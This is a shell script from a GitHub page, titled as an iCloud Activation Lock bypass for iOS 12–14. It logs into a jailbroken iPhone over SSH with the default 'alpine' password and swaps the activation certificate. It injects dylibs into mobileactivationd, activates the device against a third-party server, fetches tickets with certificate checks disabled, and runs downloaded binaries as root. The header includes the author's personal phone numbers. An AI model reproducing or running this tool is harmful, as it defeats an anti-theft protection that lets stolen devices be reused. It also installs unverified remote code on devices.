-
Notifications
You must be signed in to change notification settings - Fork 8
/
Activate2.2.sh
251 lines (194 loc) · 7.39 KB
/
Activate2.2.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
#!/bin/sh
#iCloud Bypass iOS 12 | iOS 14
#By: Brayan-Villa ( A.K.A EX3cutioN3R )
#Personal-Contact:
#Telegram: ( +52 477 289 7331 )
#Whatsapp: ( +52 477 289 7331 ) ( +52 477 555 1396 )
#24th - oct - 2022
#=======FUNCTIONS========#
function DeviceInfo(){
ideviceinfo | grep -w $1 | awk '{printf $NF}';
};
function GitClone(){
git clone "https://github.com/$1";
};
function SshClient(){
sshpass -p 'alpine' ssh -o StrictHostKeyChecking=no root@localhost -p2222 ''$1'';
};
function ScpClient(){
sshpass -p 'alpine' scp -P2222 -rp "$1" root@localhost:"$2";
};
function Daemon(){
case "unload" in
$1)
SshClient 'launchctl unload /System/Library/LaunchDaemons/com.apple.'$2'.plist'
;;
esac
case "load" in
$1)
SshClient 'launchctl load /System/Library/LaunchDaemons/com.apple.'$2'.plist'
;;
esac
case "reload" in
$1)
SshClient 'launchctl unload /System/Library/LaunchDaemons'
SshClient 'launchctl load /System/Library/LaunchDaemons'
;;
esac
};
function DetectMEID(){
if [ "$(DeviceInfo MobileEquipmentIdentifier)" != "" ]; then echo "$(DeviceInfo MobileEquipmentIdentifier)"; else echo "MEID UNDETECTED"; fi
}
function DetectGSM(){
if [ "$(DeviceInfo MobileEquipmentIdentifier)" != "" ]; then echo "$(DeviceInfo InternationalMobileEquipmentIdentity)"; else echo "IMEI UNDETECTED"; fi
}
function DetectDevice(){
clear;
if test -z "$(DeviceInfo SerialNumber)";
then
sleep 1; clear;
echo "DEVICE UNDETECTED, PLEASE CONNECT YOUR DEVICE.";
DetectDevice;
else
echo "DEVICE DETECTED!"; sleep 2; clear;
echo -e "\nSHOW IDENTIFIERS\n=================================\n";
if [ "$(uname)" != "Darwin" ];
then
echo -e "ActivationState: $(DeviceInfo ActivationState)\n\nIMEI: $(DetectGSM)\n\nMEID: $(DetectMEID)\n\nSerialNumber: $(DeviceInfo SerialNumber)\n\nVersion: $(DeviceInfo ProductVersion)\n\nProduct: $(DeviceInfo ProductType)\n\nBasebandStatus: $(DeviceInfo BasebandStatus)\n=================================\n\n"
else
echo "ActivationState: $(DeviceInfo ActivationState)\n\nIMEI: $(DetectGSM)\n\nMEID: $(DetectMEID)\n\nSerialNumber: $(DeviceInfo SerialNumber)\n\nVersion: $(DeviceInfo ProductVersion)\n\nProduct: $(DeviceInfo ProductType)\n\nBasebandStatus: $(DeviceInfo BasebandStatus)\n=================================\n\n"
fi
fi
};
function ec(){
echo "[+] $1";
};
function Dialog(){
if [ "$(uname)" != "Darwin" ];
then
echo -e "[+] PLEASE, UNLOCK YOUR DEVICE AND PRESS TRUST\n\n[+] AFTER, PRESS ENTER IN TERMINAL";
else
echo "[+] PLEASE, UNLOCK YOUR DEVICE AND PRESS TRUST\n\n[+] AFTER, PRESS ENTER IN TERMINAL";
fi
};
#======END FUNCTIONS======#
HTTP="https:";
ROUT="Activation";
BXBE="bigb033xecution3r";
PHP="ActivateDevice.php";
ROUTE="iOS14";
DOMAIN="com";
MobileSubstrate='/./Library/MobileSubstrate/DynamicLibraries';
Certificates+='/./System/Library/PrivateFrameworks/MobileActivation.framework/Support/Certificates';
Wireless+='/./private/var/wireless/Library/Preferences';
Mobile+='/./private/var/mobile';
LRU+="$HTTP//$BXBE.$DOMAIN/$ROUTE/$ROUT/$PHP";
LRUT+="$(echo $LRU | sed 's/'$PHP'/ActivationFiles/g')";
echo "CHECKING DEPENDENCIES..";
if [ "$(which ideviceinfo)" != "$(which ideviceinfo)" ];
then
clear; echo "DOWNLOADING DEPENDENCIES, WAIT...";
if [ "$(uname)" != "Darwin" ];
then
GitClone "Brayan-Villa/LibimobiledeviceEXE";
mv LibimobiledeviceEXE/* /usr/bin/; rm -rf LibimobiledeviceEXE;
else
GitClone "Brayan-Villa/Deps";
tar -zxvf Deps/Deps.lzma -C /usr/local/bin/;
mv -f /usr/local/bin/tmp/* /usr/local/bin/; rm -rf /usr/local/bin/tmp Deps;
chmod -R 777 /usr/local/bin;
fi
fi
DetectDevice;
read -p 'PRESS ENTER TO START PROCESS';
iproxy 2222 44 &>log&rm ~/.ssh/known_hosts &>logg;
ec 'MOUNT SYSTEM';
SshClient 'mount -o rw,union,update /' &>logg;
if [ "$(SshClient 'echo BrayanVilla')" != "BrayanVilla" ]; then ec '[-] FAILED!'; else echo '[+] SUCCESS'; fi
ec "CHANGE CERTIFICATE";
if [ "$(SshClient "cp -rp $Certificates/FactoryActivation.pem $Certificates/RaptorActivation.pem")" != "" ]; then echo '[-] FAILED!'; else ec 'SUCCESS'; fi
ec "INSTALLING MOBILE SUBSTRATE";
ScpClient libs/boot "/./b.tar.lzma";
ScpClient libs/lzma "/bin/";
SshClient 'chmod +x /bin/lzma';
SshClient 'lzma -d -v /./b.tar.lzma' &>logg;
SshClient 'cd /./; chmod 777 $(tar -xvf /./b.tar -C /./)';
SshClient '/usr/libexec/substrate; /usr/libexec/substrated';
ec "RELOAD ALL DAEMONS";
SshClient 'delete_old';
Daemon 'reload' &>logg;
sleep 8;
ec 'SUCCESS';
ec "SENDING DYLIBS FOR RECEIVE ACTIVATION RECORD";
ScpClient libs/untethered "$MobileSubstrate/untethered.dylib";
ScpClient libs/untetheredplist "$MobileSubstrate/untethered.plist";
ec 'SUCCESS';
ec "RELOAD MOBILEACTIVATIOND DAEMON";
Daemon 'unload' 'mobileactivationd' &>logg;
Daemon 'load' 'mobileactivationd';
ec 'SUCCESS';
ec "ACTIVATING DEVICE....";
if [ "$(idevicepair pair)" != "SUCCESS: Paired with device $(DeviceInfo UniqueDeviceID)" ]; then
read -p "$(Dialog)"; idevicepair pair &>logg;
fi
ideviceactivation activate -d -s "$LRU" &>ActivationLog.txt;
if [ "$(DeviceInfo ActivationState)" == "FactoryActivated" ]; then ec "SUCCESSFULLY ACTIVATED!"; fi;
ec "APPLY SECURITY TO ACTIVATION RECORD";
SshClient "chflags -R uchg "$(SshClient 'find /private/var/containers/Data/System -iname internal' | sed 's/\/internal//g')"/activation_records";
ec "MODIFYNG COMM-CENTER";
if [ "$(DetectMEID)" != "MEID UNDETECTED" ]; then
curl -s -k "$LRUT/$(DeviceInfo SerialNumber)/WildcardTicket.pem" --output tmp/ticket;
ScpClient "tmp/FastEditCenter" "/bin/";
SshClient 'chmod +x /bin/FastEditCenter';
ScpClient "tmp/ticket" "/";
SshClient 'FastEditCenter' &>logg;
ec "SENDING DYLIBS FOR CHANGE AND SECURE ACTIVATION STATE";
ScpClient libs/iuntethered "$MobileSubstrate/iuntethered.dylib";
ScpClient libs/iuntetheredplist "$MobileSubstrate/iuntethered.plist";
ec 'SUCCESS';
ec "DELETING OLD DYLIBS";
SshClient 'rm '$MobileSubstrate'/untethered.plist';
SshClient 'rm '$MobileSubstrate'/untethered.dylib';
ec 'SUCCESS';
ec "RELOAD MOBILEACTIVATIOND DAEMON";
Daemon 'unload' 'mobileactivationd' &>logg;
Daemon 'load' 'mobileactivationd';
SshClient 'killall CommCenter';
ec 'SUCCESS';
sleep 8;
ec "RELOAD ALL DAEMONS";
SshClient 'plutil -backup '$Wireless'/com.apple.commcenter.device_specific_nobackup.plist' &>logg;
SshClient 'CommDevice' &>logg;
Daemon 'reload' &>logg;
sleep 8;
ec "ENDING PROCESS";
SshClient 'rm -rf '$MobileSubstrate'';
else
curl -s -k "$LRUT/$(DeviceInfo SerialNumber)/WildcardTicket.pem" --output tmp/ticket;
ScpClient "tmp/FastEditCenter" "/bin/";
SshClient 'chmod +x /bin/FastEditCenter';
ScpClient "tmp/ticket" "/";
SshClient 'FastEditCenter' &>logg;
ec "SENDING DYLIBS FOR CHANGE AND SECURE ACTIVATION STATE";
ScpClient libs/iuntetheredg "$MobileSubstrate/iuntethered.dylib";
ScpClient libs/iuntetheredplist "$MobileSubstrate/iuntethered.plist";
ec 'SUCCESS';
ec "DELETING OLD DYLIBS";
SshClient 'rm '$MobileSubstrate'/untethered.plist';
SshClient 'rm '$MobileSubstrate'/untethered.dylib';
ec 'SUCCESS';
ec "RELOAD MOBILEACTIVATIOND DAEMON";
Daemon 'unload' 'mobileactivationd' &>logg;
Daemon 'load' 'mobileactivationd';
SshClient 'killall backboardd mobileactivationd CommCenter';
ec 'SUCCESS';
printf "IS YOUR DEVICE ON VERSION 14.5 OR LOWER? (yes)/(no) : "; read response;
case "no" in
$1)
SshClient 'BasebandOFF' &>logg
;;
esac
ec "ENDING PROCESS";
SshClient 'rm -rf '$MobileSubstrate'; killall -9 SpringBoard mobileactivationd';
fi
read -p '[+] SUCCESS';